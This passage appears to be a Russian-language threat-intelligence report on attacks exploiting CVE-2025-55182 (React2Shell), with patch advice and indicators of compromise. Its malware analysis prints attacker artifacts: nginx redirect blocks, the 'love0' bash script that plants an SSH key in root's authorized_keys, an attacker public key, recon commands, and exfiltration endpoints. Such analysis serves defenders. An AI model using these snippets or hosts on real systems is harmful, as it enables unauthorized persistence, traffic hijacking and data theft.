Данный скрипт представляет собой JS-стилер, предназначенный для сбора и эксфильтрации различных пользовательских данных: криптовалютных кошельков, токенов доступа, конфигураций облачных сервисов и учетных данных к базам данных.

Скрипт ищет учетные данные криптокошельков: приватные ключи Ethereum в hex-формате, seed-фразы BIP39 длиной от 12 до 24 слов, WIF-ключи Bitcoin, а также KEYSTORE-файлы и файлы криптокошельков.

Также скрипт извлекает токены и API-ключи различных сервисов: систем контроля версий, облачных провайдеров (AWS, GCP, Azure), хостинг-платформ, платежных и почтовых сервисов, мессенджеров, а также API-ключи OpenAI и Anthropic. Поддерживается сбор JWT, bearer-токенов и webhook'ов.

Отдельное внимание уделяется SSH-ключам и конфигурациям инфраструктуры. Скрипт собирает приватные SSH-ключи, полностью просматривает каталог `~/.ssh`, извлекает AWS-конфигурации, `gcloud-credentials`, Kubernetes- и Docker-конфиги. Также производится поиск строк подключения и паролей к базам данных PostgreSQL, MySQL, MongoDB и Redis, в том числе через переменные окружения.

Сбор данных осуществляется как в Windows-, так и в Linux-среде. В Windows скрипт анализирует пользовательские каталоги, данные популярных криптокошельков, локальное хранилище браузеров (включая расширения вроде MetaMask), историю PowerShell и директории с веб-проектами. В Linux он сканирует домашние и системные каталоги, конфигурации криптокошельков, данные браузерных расширений, а также историю команд оболочки командной строки.

При работе с файловой системой скрипт целенаправленно ищет различные файлы, такие как `.env`, JSON-файлы с учетными данными, WALLET- и KEYSTORE-файлы, SSH-ключи, файлы менеджеров пакетов, Docker- и Terraform-конфигурации, а также любые файлы, в названии которых присутствуют слова `secret`, `credential`, `password`, `token`, `key`, `wallet`.

Скрипт рекурсивно обходит директории с ограничением по глубине (максимальная глубина 10), читает файлы размером до 10 МБ, применяет набор регулярных выражений для выявления учетных данных и после этого отправляет собранную информацию на удаленный сервер `hxxp://91.215.85[. ]42:3000/crypto/keys`, повторяя попытки отправки до получения успешного результата.

Скрипт 3

Скрипт генерирует случайные публичные IPv4-адреса. Использует сетевые порты: 80, 443, 3000, 3001, 8080, 8443. Производит эксплуатацию уязвимости React2Shell, после эксплуатации пытается загрузить скрипт сетевого ресурса `hxxp://193.24.123[. ]68:3001/gfdsgsfhfsd_ghsfdgsfdgsdfg.sh`.

Скрипт 4

Скрипт предназначен для автоматизированной модификации конфигураций веб-серверов nginx и Apache в целях принудительного перенаправления всего HTTP- и HTTPS-трафика на внешний домен. В процессе работы он также собирает диагностическую и системную информацию о хосте и передает ее на удаленный webhook.

На первом этапе скрипт сканирует стандартные директории с конфигурациями nginx, включая `sites-enabled`, `conf.d` и `sites-available`. Содержимое каталогов читается напрямую через файловую систему Node.js. Для каждого найденного файла выполняется серия проверок: исключаются резервные копии с расширением `.bak`, подтверждается, что объект является обычным файлом, после чего файл полностью читается в память. Обработка продолжается только в том случае, если в содержимом присутствует строка `server`.

Из подходящих конфигураций скрипт извлекает ключевые параметры с помощью регулярных выражений. Он определяет имя сервера, пути к SSL-сертификату и приватному ключу, а также проверяет, настроены ли слушающие порты 80 и 443. Перед внесением изменений оригинальный конфигурационный файл сохраняется в виде резервной копии с добавлением суффикса `.bak`.

После этого формируется новый серверный конфиг, полностью заменяющий исходное содержимое файла. Если в оригинале использовался HTTP-порт, создается серверный блок для порта 80, выполняющий постоянный редирект на внешний HTTPS-адрес.

```
server {  
  
    listen 80;  
  
    listen [::]:80;  
  
    server_name <имя_из_оригинала>;  
  
    return 301 hxxps://xss[.]pro$request_uri;  
  
}
```

При наличии HTTPS-конфигурации создается аналогичный блок для порта 443 с включенным SSL. Если пути к сертификатам не были обнаружены, используются стандартные snakeoil-сертификаты из системных каталогов. Новый конфиг записывается поверх исходного файла без сохранения предыдущей логики обработки запросов.

```
server {  
  
    listen 443 ssl;  
  
    listen [::]:443 ssl;  
  
    server_name <имя_из_оригинала>;  
  
    ssl_certificate <путь_из_оригинала_или_/etc/ssl/certs/ssl-cert-snakeoil.pem>;  
  
    ssl_certificate_key <путь_из_оригинала_или_/etc/ssl/private/ssl-cert-snakeoil.key>;  
  
    return 301 hxxps://xss[.]pro$request_uri;  
  
}
```

После перезаписи конфигураций скрипт запускает проверку корректности nginx-конфига с помощью `nginx -t` и анализирует вывод команды, ожидая признак успешной проверки. В случае успеха он пытается перезагрузить nginx, последовательно используя `systemctl`, `service` и сигнал `nginx -s reload`, что позволяет работать в различных дистрибутивах и средах.

Аналогичные действия выполняются для Apache. Скрипт просматривает стандартные каталоги конфигураций Apache, исключает файлы резервных копий и отключенные конфиги, сохраняет бэкапы и затем переименовывает активные конфигурационные файлы, добавляя к ним суффикс `.disabled`. После этого в той же директории создается новый конфигурационный файл, содержащий универсальные виртуальные хосты для портов 80 и 443, которые перенаправляют весь трафик на тот же внешний ресурс. Для HTTPS также используются стандартные SSL-сертификаты. Завершающим шагом выполняется проверка конфигурации Apache и попытка его перезагрузки.

Помимо изменения конфигураций веб-серверов, скрипт собирает подробную информацию о системе. В нее входят имя хоста, внешний IP-адрес, имя пользователя, UID процесса, тип операционной системы, результаты проверок конфигураций nginx и Apache, список запущенных веб-серверных процессов и содержимое ключевых nginx-директорий. Также фиксируется точное время выполнения операции.

Вся собранная информация отправляется POST-запросом на заранее заданный webhook-адрес `hxxps://webhook[.]site/63575795-ee27-4b29-a15d-e977e7dc8361` с указанием заголовка `Content-Type: application/json`.

Скрипт 5

Скрипт добавляет свой публичный ключ в `authorized_keys`.

ssh-rsa

```
AAAAB3NzaC1yc2EAAAADAQABAAQDFTxawmhQkYFF2LgNsAumFqxUiUSv8YEd7DRE9Wb076YxY0fGn4scWzmQnIP/xsrynapcrGKhBXW31BG7wFearY9fctJeHrnAw7CeXqMyb
FPGIrl+PbLsUnh2AeizjqT0hVZMrg0+0MdsNrdGTN58azTRIVdvgXX9/4p5tinRvisP8jQXPwRv9gurt9hbjrff8bFYmbttSkFXzwlv05jvi3wrDBLeSSaEnolsJbvcGzzNtm2s7
703yesztM0n03YR1b1Qwa0ZMTQtzS7gvpKQ8voxyUd2H+qwk1fe3S7t3QHnNBokxHXi/KsXgFbY9G74SKV15jTFyrJCJ0aYQbVSViz+uPYDRGw4xBKDsKEx5ne2E4oqJVSSNiZ
/QJs0+zA3QFIflcR3WrZ6xxw0ivk/nvzhccsd+K94jK/qheJzrTTvWqj08FauCN8LtxqG6pNWNHRJqc2m/1Tt8CA2V89RquqMX7FhArF86TnMxHNT9IDDCf07eIEbpLuwGpJLBj
eHbqy5h8yB8ZoUj/E3E7+Kmd6HgvYKxn3YItfopArpg6AfWzP0bjyw7yzxdsbElkxL3K6UcBeTBXb/HM0pTE9uyNN4TvczJZAbB6Yy51x2RU4Yd815MFVPVFFn+5/z+ZyK9442c
9/UHKMcb0tXkvYdWM7v01xCc8tF1IFKa4w== root@vps
```

XMRig

Атакующие загружали с сетевого ресурса `hxxp://45.134.174[.]235:443/` идентичные Bash-скрипты с именами `2.sh`, `a1.sh`, `a2.sh`, `a3.sh`. Каждый из Bash-скриптов скачивал и запускал указанный в коде скрипта исполняемый ELF-файл. Имена загружаемых исполняемых файлов: `solra`, `solrc`, `solrk`, `solrz`.

Данные исполняемые ELF-файлы выполняют следующую логику:

- завершение всех процессов, кроме `xmrig`;
- загрузка в систему майнера XMRig, который будет запущен с аргументом `www.chatgptaiweb[.]top:80`.

Добавление SSH-ключей

Атакующие использовали Bash-скрипт `love0`, загружаемый с ресурса `hxxps://sitiolibre[.]com/wp/wp-content/plugins/gassembly/js/love0`.

```
sudo su - -c "mkdir /root/.ssh"
if cat /root/.ssh/authorized_keys |grep -a i34k25xqsNTqPUhGzYtZI
then
rm -rf love0
exit
else
sudo su - -c "echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHQsZY90DM4rpfkm6zv8FAQI34k25xqsNTqPUhGzYtZI root@localhost >/root/.ssh/
authorized_keys"
rm -rf love0
fi
```

Содержимое скрипта `love0`

Данный Bash-скрипт добавлял SSH-ключ в `authorized_keys` для получения доступа к системе.

Сбор информации о цели

Атакующие использовали Bash-скрипт, который загружался по адресу `hxxp://109.238.92[.]111/ch.sh`.

Bash-скрипт `ch.sh` выполнял разведывательные действия и собирал следующую информацию о скомпрометированном хосте:

- переданный аргумент `$1`;
- `date`;
- `hostname`;
- `uname -a`;

```
• id;
• env | grep -iE 'HOST|URL|DOMAIN';
• arp -an;
• cat /etc/resolv.conf;
• ifconfig / ip addr.
```

После этого собранная информация отправлялась на `hxxp://109.238.92[.]111:8000/upload`.

Рекомендации по устранению и снижению риска эксплуатации уязвимости CVE-2025-55182

Уязвимость CVE-2025-55182 [обнаружена](#) в нескольких версиях пакетов, используемых для работы с React Server Components. Уязвимые пакеты:

- `react-server-dom-webpack`
- `react-server-dom-parcel`
- `react-server-dom-turbopack`

Данная уязвимость присутствует в следующих версиях указанных выше пакетов:

- 19.0;
- 19.1.0;
- 19.1.1;
- 19.2.0.

Уязвимость CVE-2025-55182 считается критической и может привести к серьезным последствиям для безопасности приложений. В связи с этим всем организациям и разработчикам, использующим указанные пакеты, настоятельно рекомендуется немедленно принять меры.

Исправление уязвимости CVE-2025-55182 доступно в версиях: 19.0.1, 19.1.2 и 19.2.1.

Необходимо обновить уязвимые зависимости до соответствующих исправленных версий или более новых. Подробная информация об уязвимости и внесенных исправлениях опубликована в официальном блоге [React](#).

Проекты в Next.js, использующие React Server Components, также могут быть подвержены CVE-2025-55182. Рекомендуется:

- проверить текущую версию Next.js и ее зависимости;
- обновить Next.js до версии, включающей исправленные версии `react-server-dom-*`;
- убедиться, что в проекте не используются зафиксированные уязвимые версии пакетов.

Дополнительные меры безопасности:

- Пересоберите проект после обновления зависимостей.
- Проверьте файлы `package-lock.json`, `yarn.lock` или `pnpm-lock.yaml`, чтобы убедиться, что уязвимые версии полностью удалены.
- Ограничьте использование в рабочей среде экспериментальных функций React Server Components без актуальных обновлений безопасности.
- Регулярно отслеживайте публикации по безопасности от команды React и используемых фреймворков.

Индикаторы компрометации

Тип	Индикатор	Контекст
SHA256	9d33b5c8830d3fa500b9a95ee44f21ac883de60852064330d7cfdc8c3a9ab662	Bash-скрипт, связан с распространением майнера XMRig
	324b9ad3a186b3e11bddfa05994b88eca3719e5c1999aa50430d808c4ba2b6d5	Bash-скрипт, связан с распространением ботнета Kaiji
	8d73ee0b2713fa728a154c12ba71b13197484adb7c0a2c6cd9f3076f1823624	Bash-скрипт, связан с распространением майнера XMRig
	7e7455cbdca4a9af0e9c4fba21b8feed7967658bb72624747737ea23673ec37d	Bash-скрипт, связан с распространением майнера XMRig

Тип	Индикатор	Контекст
	ae4991476ed082920e674457f4eceb71367265f4d2150b89214abceb9ebf2407	Bash-скрипт, связан с распространением майнера XMRig
	13675cca4674a8f9a8fabe4f9df4ae0ae9ef11986dd1dcc6a896912c7d527274	Bash-скрипт, связан с распространением майнера XMRig
	3854862bb3ee623f95d91fa15b504e2bbc30e23f1a15ad7b18aedb127998c79c	Bash-скрипт, связан с распространением импланта Sliver
	9d9520b6c35be9bcfbf956169cca23bad3d10825607583c6b00b3a3e33da2778	Bash-скрипт, связан с распространением VShell
	286035e965feb40d0ec2cf85b80c26bcd871f227e96e6d5ff21c3cf4df48caa	Bash-скрипт, связан с распространением VShell
	a294c2ce54acd1b0240511117de9cbe3000f900c3abb15f0de8a8bea07ac6f8c	Bash-скрипт, связан с распространением импланта CrossC2 Cobalt Strike
	64cc57dd46d69353cfaf55e70d95fb5e6a39086b6323e5b3387447ad650e23a2	Bash-скрипт, связан со сбором информации о цели
	e38362aca79b16d588174e64a33cc688504c845d882624243fde90abd578bd7d	Bash-скрипт, связан с распространением EtherRAT
	f178e52706992658017fe5fcedb6fc29b564874c30176ad68ee9669d208fd481	Bash-скрипт, связан с добавлением SSH-ключей
	d8931e1118c147af8dd4d9da4ecbf025b8ad805d8287f82be75c6ea5b7aff9d9	Bash-скрипт, связан с распространением майнера XMRig
	b8c7ff2865d5933712eb014d45d81a7e6d9d266cd8ec613da4bce39b6c8f3a43	Bash-скрипт, связан с распространением майнера XMRig
	5705469d5f53fb34615486a5a16b1e8ca4374b3e7856ea867cab8cea6a2f2601	Bash-скрипт, связан с распространением майнера XMRig
	baf69546d18ccb57b64dc29c0d35ae34c1153fe92eaa9764b5f679a99a97ed23	Bash-скрипт, связан с распространением майнера XMRig
	c79fcb6c433d8a613f25b9b4c81c1c2514ac97e9aaaae7c7c84a432b2476b5e4e	ELF32, ботнет Kaiji
	013041d5a4a13a5b2703b28dce68920fd00f078fa02a09b7e293485c0fb16ab8	ELF64, ботнет Kaiji
	7e0a0c48ee0f65c72a252335f6dcd435dbd448fc0414b295f635372e1c5a9171	ELF64, UPX, ботнет RustoBot

Тип	Индикатор	Контекст
	2cd41569e8698403340412936b653200005c59f2ff3d39d203f433adb2687e7f	ELF64, имплант Sliver
	a536d755313ce550a510137211eca6171f636fb316026e9df8523c496c8fcd12	ELF64, UPX, майнер XMRig
	b67221d6057a2a08bd19cdebf22e6d5557a8794463413e6fc128c7ec15a41415	Архив tar.gz, содержащий майнер XMRig и файл конфигурации
	0c748b9e8bc6b5b4fe989df67655f3301d28ef81617b9cbe8e0f6a19d4f9b657	ELF64, майнер XMRig
	c3e806dbf5f01d8d04918c1e734ccce59b6b6057f13dfd77e2c6745442c3c7c1	JSON, конфигурация XMRig
	99ff9b7f046fd90d5a092909e94be0f7df3f86455b5c26b7340417bcd057ca84	ELF64, UPX, майнер XMRig
	67aea5b0ffceacaa932c47b3cddd527d393856fa900a19a225afe9203ce005e0	ELF64, UPX, майнер XMRig
	b68904f25db022a3bc3dfc7a1dfdfcdd16e1a7f63a256d1be9a29570fc4ce65c	ELF64, UPX, майнер XMRig
	466a46ed4f80ef12d2e2ba1c8014315a4aa33483135386af57bec5d6a57a8359	ELF64, UPX, майнер XMRig
	3f0188436a8047a075c18f88699fb5e96fab3bde11ca037c334ec7de0fe62c02	Зашифрованная нагрузка, EtherRAT
	ac6493c923daa5e69bc08d3394c9ecb69a1bee2624b214dcf8f8a1d3be1431fc	ELF64, Tactical RMM
	160f6727f403bb1eba84c0b5fad4d9d14c0d1269a28dfa5c173e9612396e3274	ELF32, Tactical RMM
	2b7878ab17f5ae138fe92ca46489de484eb55e185583f4a361a8a07f126763c8	ELF32, Tactical RMM
	4c93d69fabcf1c2b297131bd09363ea0bdaa314e143461aaf5dd91c5f1f86684	ELF32, Tactical RMM
	62d402fd81bb9a286b7d012b69a2bea8dcb8a0796cdf40f4adf05492d626762d	ELF32, Tactical RMM
	a48a6d239c7b45e041f6885d87cd400b0467c7d114769e6d85a8334fa865e0f9	ELF64, Tactical RMM
	2b43a42f8957a619682540aac3ee0816c2acc3126f9029b25061f2b4bb8d654d	ELF64, бэкдор VShell
	ad737eb2bdc81545850a4a8b786f7e63a5f7519f9610f06cef61f0e11c4bcbda	ELF32, бэкдор VShell
	8e8d8d328bd0db29e0c268e4ff20e9c63778de0c336799f621bec2624aeffbac	ELF64, бэкдор VShell
	a891616ec4cc442f7a9c84695a67824e5b23dfaf3d82590b9a94701a0b7ee544	ELF32, бэкдор VShell

Тип	Индикатор	Контекст
	4a74676bd00250d9b905b95c75c067369e3911cdf3141f947de517f58fc9f85c	ELF64, UPX, имплант CrossC2 Cobalt Strike
	765baba34f8f1ccdc212a2352d31522a268de902f8802ee934867aabf54fd6d3	ELF32, UPX, имплант CrossC2 Cobalt Strike
URL	hxxp://176.117.107[.]154/bot	Распространение ботнета RustoBot
	hxxp://216.158.232[.]43:12000/sex.sh	Распространение майнера XMRig
	hxxp://128.199.194[.]97:9001/runnv.tar.gz	Распространение майнера XMRig
	hxxp://128.199.194[.]97:9001/setup2.sh	Распространение майнера XMRig
	hxxp://128.199.194[.]97:9001/lived.sh	Распространение майнера XMRig
	hxxp://128.199.194[.]97:9001/alive.sh	Распространение майнера XMRig
	hxxps://tr.earn[.]top/Log.php?id=MIKN	Распространение майнера XMRig
	hxxps://tr.earn[.]top/apaches.sh	Распространение майнера XMRig
	hxxps://tr.earn[.]top/nginxs	Распространение майнера XMRig
	hxxps://tr.earn[.]top/config.json	Распространение майнера XMRig
	hxxp://103.135.101[.]15:wocaosinm.sh	Распространение ботнета Kaiji
	hxxp://keep.camdvr[.]org:8000/d5.sh	Распространение импланта Sliver
	hxxp://keep.camdvr[.]org:8000/BREAKABLE_PARABLE5	Распространение импланта Sliver
	hxxps://156.67.221[.]96/meshagents?id=hrfDDhB@yNf4oBrCH@R\$KfVp27XfA78LiX@IZUoTgs3zCwG\$bjdpr@0oa8@BhTf&installflags=0&meshinstall=6	Распространение Tactical RMM
	wss://156.67.221[.]96:443/agent.ashx	C2-сервер Tactical RMM
	hxxp://107.173.89[.]153:60051/slt	Распространение бэкдора VShell
	hxxp://193.24.123[.]68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh	Распространение EtherRAT

Тип	Индикатор	Контекст
	hxxp://91.215.85[.]42:3000	C2-сервер EtherRAT
	hxxp://91.215.85[.]42:3000/crypto/keys	Отправление собранных данных на C2-сервер EtherRAT
	hxxps://webhook[.]site/63575795-ee27-4b29-a15d-e977e7dc8361	Отправление собранных данных на C2-сервер EtherRAT
	hxxp://109.238.92[.]111:8000/upload	Отправление собранной информации на сервер
	hxxp://109.238.92[.]111/ch.sh	Загрузка Bash-скрипта для разведки
	hxxps://sitio Libre[.]com/wp/wp-content/plugins/gassembly/js/love0	Загрузка Bash-скрипта, добавляющего SSH-ключи
	hxxp://45.134.174[.]235:443/2.sh	Распространение майнера XMRig
	hxxp://45.134.174[.]235:443/a1.sh	Распространение майнера XMRig
	hxxp://45.134.174[.]235:443/a2.sh	Распространение майнера XMRig
	hxxp://45.134.174[.]235:443/a3.sh	Распространение майнера XMRig
	hxxp://154.89.152[.]240/a_x64	Распространение импланта CrossC2 Cobalt Strike
	hxxp://154.89.152[.]240/a_x86	Распространение импланта CrossC2 Cobalt Strike
Домен	tr.earn[.]top	Распространение майнера XMRig
	keep.camdvr[.]org	C2-сервер импланта Sliver
	oia0lwut2n65f8o4swmbesu0nrtih95y.oastify[.]com	DNS-туннель для получения результата команд
	6krinewb458nhqqmueotgawip9v1jr7g.oastify[.]com	DNS-туннель для получения результата команд

Тип	Индикатор	Контекст
	<code>dockerupdate.anondns[.]net: 44999</code>	Пул майнинга XMRig
	<code>pool.hashvault[.]pro:443</code>	Пул майнинга XMRig
	<code>ilefttotolinkalone.anondns[.]net</code>	C2-сервер ботнета RustoBot
	<code>rustbot.anondns[.]net</code>	C2-сервер ботнета RustoBot
	<code>bitcoinbandit.anondns[.]net</code>	C2-сервер ботнета RustoBot
	<code>cryptoenjoyers.anondns[.]net</code>	C2-сервер ботнета RustoBot
	<code>dontblockme.anondns[.]net</code>	C2-сервер ботнета RustoBot
	<code>kds3s.oks0418[.]com:12348</code>	C2-сервер ботнета Kaiji
	<code>clearskyspark[.]top:9200</code>	Пул майнинга XMRig
	<code>deepcloudspark[.]top:9200</code>	Пул майнинга XMRig
	<code>greenhillmatrix[.]top:9200</code>	Пул майнинга XMRig
	<code>silentmountcode[.]top:9200</code>	Пул майнинга XMRig
	<code>sitiolibre[.]com</code>	Связан с загрузкой Bash-скрипта, добавляющего SSH-ключи
	<code>www.chatgptaiweb[.]top</code>	Пул майнинга XMRig
IP-адрес	<code>103.135.101[.]15</code>	Распространение ботнета Kaiji
	<code>176.117.107[.]154</code>	Распространение ботнета RustoBot
	<code>128.199.194[.]97:9001</code>	Распространение майнера XMRig
	<code>216.158.232[.]43:12000</code>	Распространение майнера XMRig
	<code>194.41.112[.]90:44999</code>	Пул майнинга XMRig

Тип	Индикатор	Контекст
	45.137.201[.]137	C2-сервер ботнета RustoBot
	154.89.152[.]247:9200	Пул майнинга XMRig
	154.89.152[.]168:9200	Пул майнинга XMRig
	154.89.152[.]151:9200	Пул майнинга XMRig
	154.89.152[.]170:9200	Пул майнинга XMRig
	154.89.152[.]240	Распространение импланта CrossC2 Cobalt Strike
	156.67.221[.]96:443	Распространение Tactical RMM
	107.173.89[.]153:60051	Распространение бэкдора VShell
	91.215.85[.]42:3000	C2-сервер EtherRAT
	193.24.123[.]68:3001	Распространение EtherRAT
	109.238.92[.]111:8000	Отправление собранной информации о цели
	45.134.174[.]235:443	Распространение майнера XMRig

Не пропустите новые угрозы — подпишитесь на статьи о них

Я даю [согласие](#) на получение информационных и рекламных рассылок BI.ZONE, а также [согласие](#) на обработку персональных данных для получения таких рассылок в соответствии с [Политикой конфиденциальности](#)*

* Обязательное поле

Как защититься от подобных атак

Чтобы вовремя обнаружить и нейтрализовать киберугрозы в инфраструктуре, необходимо настроить непрерывный мониторинг событий кибербезопасности. Например, с помощью сервиса [BI.ZONE TDR](#). Он позволяет управлять инцидентом на всех этапах: до, во время и после его возникновения. Сервис сочетает подходы SOCaaS и MDR, что позволяет полностью охватить инфраструктуру и выстроить эффективную стратегию защиты. Это помогает не только отражать текущие атаки, но и расследовать уже прошедшие инциденты, а также получать рекомендации по предотвращению угроз в будущем.

Для эффективной киберзащиты важно понимать, какие уязвимости эксплуатируют злоумышленники в реальных атаках. Здесь помогает портал [BI.ZONE Threat Intelligence](#), который предоставляет подробную информацию об актуальных киберугрозах. Эти данные помогают проактивно защищать компанию и быстро реагировать на киберинциденты.